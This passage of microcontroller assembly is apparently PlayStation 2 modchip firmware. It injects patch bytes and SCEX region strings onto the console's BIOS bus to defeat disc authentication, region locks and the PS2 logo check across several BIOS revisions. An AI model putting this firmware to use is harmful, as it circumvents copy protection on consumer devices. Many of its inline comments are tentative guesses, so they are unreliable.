w,VAR_BIOS_YR-w snb z ; jmp CONSOLE_2002_JMP if VAR_BIOS_YR = #$32 = 2 ascii = 2002 jmp CONSOLE_2002_JMP mov w,#$1 ; doesnt run if 2002 mov VAR_TOFFSET,w ; doesnt run if 2002 CONSOLE_2002_JMP page $0600 ; PAGE8 jmp START_CDDVD_PATCH ; all run just VAR_TOFFSET set #$1 doesnt happen if not 2002 PS1_MODE_START_PATCH clr fsr clrb VAR_PATCH_FLAGS.7 mov w,#$ff mov VAR_PSX_TEMP,w RUN_PS1_SCEX_INJECT call SEND_SCEX ;sending scex string ;so is ps1mode area snb VAR_PATCH_FLAGS.7 ; jmp PS1_SCEX_INJECT_COMPLETE if VAR_PATCH_FLAGS.7 set ps1 string loop did finish ? jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP PS1_SCEX_INJECT_COMPLETE snb VAR_PATCH_FLAGS.0 jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ; ascii 2 mov w,VAR_BIOS_YR-w snb z ; jmp PS1_PALorNTSC if VAR_BIOS_YR = #$32 = 2 ascii = 2002 jmp PS1_PALorNTSC mov w,#$1 ; doesnt run if 2002 mov VAR_TOFFSET,w ; doesnt run if 2002 PS1_PALorNTSC snb VAR_PATCH_FLAGS.5 ; jmp PS1_CONSOLE_NTSC_YFIX if BIOS_USA set page $0400 ; PAGE4 jmp PS1_CONSOLE_NTSC_YFIX ; PS1_CONSOLE_NTSC_YFIX ntsc jmp snb VAR_PATCH_FLAGS.6 ; jmp PS1_CONSOLE_NTSC_YFIX if BIOS_JAP set page $0400 ; PAGE4 jmp PS1_CONSOLE_NTSC_YFIX ; PS1_CONSOLE_NTSC_YFIX ntsc jmp page $0400 ; PAGE4 jmp PS1_CONSOLE_PAL_YFIX ; jmp PS1_CONSOLE_PAL_YFIX if BIOS_JAP BIOS_USA not set mean pal org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- ;SX28_PAGE2 ;todo sx48 is same ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr retp ; patching done. Return from call ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $23 ; 0 retw $80 ; 1 retw $ac ; 2 retw $c ; 3 retw $0 ; 4 retw $0 ; 5 retw $0 ; 6 retw $24 ; 7 ; v5/6 start VAR_DC1 ? retw $10 ; 8 retw $3c ; 9 retw $e4 ; 10 retw $24 ; 11 retw $80 ; 12 retw $ac ; 13 retw $e4 ; 14 retw $22 ; 15 retw $90 ; 16 retw $ac ; 17 retw $84 ; 18 retw $bc ; 19 mov w,#$3f ; 20 ; 3fh = 63 mov VAR_DC3,w ; 21 ; VAR_DC3 = 63 jmp BIOS_PATCH_DATA_PART2_ALL ;22 ; straight jmp flow. might be byte counter set like bit counter VAR_TOFFSET in SCEx ? retw $24 ; 23 ; 1.7 bios start ? retw $10 ; 24 retw $3c ; 25 retw $74 ; 26 retw $2a ; 27 retw $80 ; 28 retw $ac ; 29 retw $74 ; 30 retw $28 ; 31 retw $90 ; 32 retw $ac ; 33 retw $bc ; 34 retw $d3 ; 35 mov w,#$3f ; 36 mov VAR_DC3,w ; 37 jmp BIOS_PATCH_DATA_PART2_ALL ; 38 ; straight jmp flow. might be byte counter set like bit counter VAR_TOFFSET in SCEx ? retw $24 ; 39 ; 1.9 2.0 bios start ? retw $10 ; 40 retw $3c ; 41 retw $e4 ; 42 retw $2c ; 43 retw $80 ; 44 retw $ac ; 45 retw $f4 ; 46 retw $2a ; 47 retw $90 ; 48 retw $ac ; 49 snb VAR_SWITCH.0 ; 50 jmp V12_CONSOLE_20_BIOS_JMP ; 51 ; jmp V12_CONSOLE_20_BIOS_JMP if VAR_SWITCH.0 set = V12_CONSOLE_20_BIOS mov w,#$36 ; 52 ; run all but skip till V12_CONSOLE_20_BIOS_JMP mov VAR_DC3,w ; 53 retw $a4 ; 54 retw $ec ; 55 mov w,#$3f ; 56 mov VAR_DC3,w ; 57 jmp BIOS_PATCH_DATA_PART2_ALL ; 58 V12_CONSOLE_20_BIOS_JMP mov w,#$3d ; 59 mov VAR_DC3,w ; 60 retw $c ; 61 retw $f9 ; 62 BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 ; all to land here part2 VAR_DC3 = 63 retw $34 ; 64 ;v2/3 start VAR_DC3 ? retw $0 ; 65 retw $0 ; 66 retw $30 ; 67 retw $ae ; 68 retw $c ; 69 retw $0 ; 70 retw $0 ; 71 retw $0 ; 72 ;v5/6 end ? retw $c7 ; 73 retw $2 ; 74 retw $34 ; 75 retw $19 ; 76 retw $19 ; 77 retw $e2 ; 78 retw $ba ; 79 retw $11 ; 80 retw $19 ; 81 retw $e2 ; 82 retw $ba ; 83 PS2_MODE_START clr fsr sb VAR_PATCH_FLAGS.2 jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH CHECK_IF_V1_v2or3_V4_V5to8 clr fsr mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to12_REV ;jmp CHECK_V9to12_REV if VAR_BIOS_REV didnt = 5 ascii V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$c mov IO_BIOS_DATA,w V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH CHECK_V9to12_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w ; VAR_DC3 = 4 line start 1.7 BIOS ? mov w,#$94 mov VAR_TOFFSET,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_19_BIOS setb VAR_PATCH_FLAGS.3 mov w,#$64 mov VAR_DC3,w ; VAR_DC3 = 64h = 100 line start 1.9 BIOS ? mov w,#$9e mov VAR_TOFFSET,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH V12_CONSOLE_20_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.0 mov w,#$7c mov VAR_DC3,w ; VAR_DC3 = 7ch = 124 line start 2.0 BIOS ? mov w,#$a9 mov VAR_TOFFSET,w mov w,#$27 ; 27h = 39 ALL_CONTIUNE_BIOS_PATCH snb VAR_SWITCH.4 ; jmp SECONDBIOS_PATCH_DEV1_STACK if VAR_SWITCH.4 set jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w ; VAR_DC3 27h = 39 start line ? mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 ; VAR_DC3 moved w. VAR_DC3 equal start line orignally for LOAD_BIOS_PATCH_DATA call BIOS_PATCH_DATA mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; +1 VAR_DC3 increased for LOAD_BIOS_PATCH_DATA loop pc+w line flow to retw decsz VAR_DC1 ; -1 VAR_DC1 till 0 then skip LOAD_BIOS_PATCH_DATA. has finished LOAD_BIOS_PATCH_DATA jmp LOAD_BIOS_PATCH_DATA clr fsr snb VAR_PATCH_FLAGS.2 ; jmp TRAY_IS_EJECTED if VAR_PATCH_FLAGS.2 is set page $0000 ; PAGE1 jmp TRAY_IS_EJECTED SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low ; ? is this verifying patch correct ??? jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE ; skipping a byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE ; skipping a byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z ; w = 0000 0000 go to SECOND_BIOS_PATCH_SYNC_P4_L2 jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE ; skip byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w ; from above w = 0000 0000 all IO_BIOS_DATA output. call RUN_BIOS_PATCHES_SRAM to send patch. SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM snb VAR_SWITCH.4 ; jmp FINISHED_RUN_START if VAR_SWITCH.4 is set for just patched dev1 page $0600 ; PAGE8 jmp FINISHED_RUN_START snb VAR_SWITCH.1 ; if set VAR_SWITCH.1 for call at end of patches its done v12 2.0 bios ps1 patching. jmp PS1_MODE_SUCESSFUL_END page $0400 ; PAGE4 jmp PS1_MODE_SUCESSFUL_END page $0000 ; PAGE1 jmp CHECK_IF_START_PS2LOGO ; jmp CHECK_IF_START_PS2LOGO if both VAR_SWITCH.1 VAR_SWITCH.4 not set meaning ps2 mode and expect to do logo patch SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,VAR_TOFFSET mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 ; PAGE2 jmp SECOND_BIOS_PATCH_SYNC POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_RB_IO_BUS POST_PATCH_4_MODE_START2 snb VAR_SWITCH.4 ; jmp FINISHED_RUN_START_2 if DEV1 mode page $0600 ; PAGE8 jmp FINISHED_RUN_START_2 mov w,#$64 mov VAR_TOFFSET,w POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_TOFFSET jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp POST_PATCH_4_MODE_START_L4 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 snb VAR_SWITCH.3 ; jmp POST_PATCH4MODE_END_P2 if VAR_SWITCH.3 set jmp POST_PATCH4MODE_END_P2 mov w,#$15 mov fsr,w POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA mode change ? how POST_PATCH4MODE_END_P1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_END_P1 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM sb VAR_PATCH_FLAGS.0 page $0000 ; PAGE1 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 POST_PATCH4MODE_END_P2 clrb VAR_SWITCH.3 jmp POST_PATCH_4_MODE_START2 PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;todo SX28 define not for sx48 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ; xcddvdman used to inject logo ? ;-------------------------------------------------------------------------------- jmp pc+w retw $0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 retw $0 retw $0 retw $0 retw $0 retw $20 ;start ps2logo line 1 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 ;ps2logo end of line 9 mov w,#$49 mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 ;skip next line if not 1.9-2.0 bios jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$44 ;1.9-2.0 ONLY PS2LOGO mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 PS2LOGO_PATCH_11_17_JMP1 retw $50 ;1.1-1.7 ONLY PS2LOGO BYTE SKIPPING ABOVE 1.9-2.0 ONLY retw $81 PS2LOGO_PATCH_19_20_JMP1 retw $80 ;ALL BIOS PATCH RUN JUST LINKING FROM ABOVE SNB JMP retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 ;skip next line if not 1.9-2.0 bios jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$6b ;1.1-1.7 ONLY PS2LOGO BYTE SKIPPING ABOVE 1.9-2.0 ONLY mov VAR_DC3,w retw $bd ; start second last line ps2logo retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ; end last line ps2logo retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af PS2LOGO_PATCH_19_20_JMP2 retw $af ;ALL BIOS PATCH RUN JUST LINKING FROM ABOVE SNB JMP retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $af retw $5 retw $4 retw $8 START_PS2LOGO_PATCH_LOAD mov w,#$72 ; 72h = 114 mov VAR_DC1,w ; VAR_DC1 = 114 mov VAR_DC2,w ; VAR_DC2 = 114 clr w ; 0 mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; +1 VAR_DC3 starting 0 decsz VAR_DC1 ; jmp PS2LOGO_PATCHLOAD_LOOP till VAR_DC1 = 0 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr ; ? snb VAR_SWITCH.3 ; jmp POST_PATCH_4_MODE_START2 if VAR_SWITCH.3 set page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 PS1_DETECTED_REBOOT clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb VAR_SWITCH.0 ; only jmp PS1_MODE_START if VAR_SWITCH.0 set 2.0 bios v12 jmp PS1_MODE_START ; skipped by all but 2.0 bios v12 mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_PATCH_FLAGS.3 ; skip jmp PS1_DETECTED_REBOOT_JMP11to17_ALL line if not 1.9-2.0 bios due to above only run for 1.9 v11 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;jmp PS1_DETECTED_REBOOT_JMP11to17_ALL if is 1.1-1.7 bios mov w,#$1e ; only ran for 1.9-2.0 bios mov VAR_PSX_TEMP,w ; set VAR_PSX_TEMP = #$1e if 1.9-2.0 bios PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS ; next byte / wait for bios CE high jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 IFDEF RSTBUMP mode $000B ; XBh rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$ff ; 1111 1111 mov !rb,w ; above set for rb mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov rb,w ; rb = 0 ? clear rb values mov w,#$fb ; 1111 1011 rb.2 IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov rb,w ; set rb = w = 0 ? clear rb values mov w,#$fe ; 1111 1110 rb.0 F output ENDIF mov !IO_CDDVD_BUS,w ; set from above routine to rb bus page $0000 ; PAGE1 call MODE_SELECT_TIMER ; calls MODE_SELECT_TIMER for ps1 mode set mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; all rb inputs setb VAR_PATCH_FLAGS.2 ; ps1 mode set VAR_PATCH_FLAGS.2 related here ? page $0000 ; PAGE1 jmp CHECK_IF_V9to12 PS1_MODE_START snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb VAR_SWITCH.0 ; only jmp PS1_MODE_v12_PATCHS if VAR_SWITCH.0 set 2.0 bios v12 jmp PS1_MODE_v12_PATCHS ; skipped by all but 2.0 bios v12 mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w PS1_MODE_L7 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L7 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_DETECTED_REBOOT_JMP11to17_ALL PS1_MODE_SUCESSFUL_END setb VAR_PATCH_FLAGS.0 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb VAR_SWITCH.1 ; set VAR_SWITCH.1 for call at end of patches its done v12 2.0 bios ps1 patching page $0200 ; PAGE2 jmp SECOND_BIOS_PATCH_SYNC_P2 PS1_CONSOLE_PAL_YFIX mov w,#$3c ; todo is yfix pal console as seems no patch data ? mov IO_BIOS_DATA,w mov w,#$b mov VAR_DC2,w ; VAR_DC2 = bh = 11 mov w,#$15 mov fsr,w PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w sb 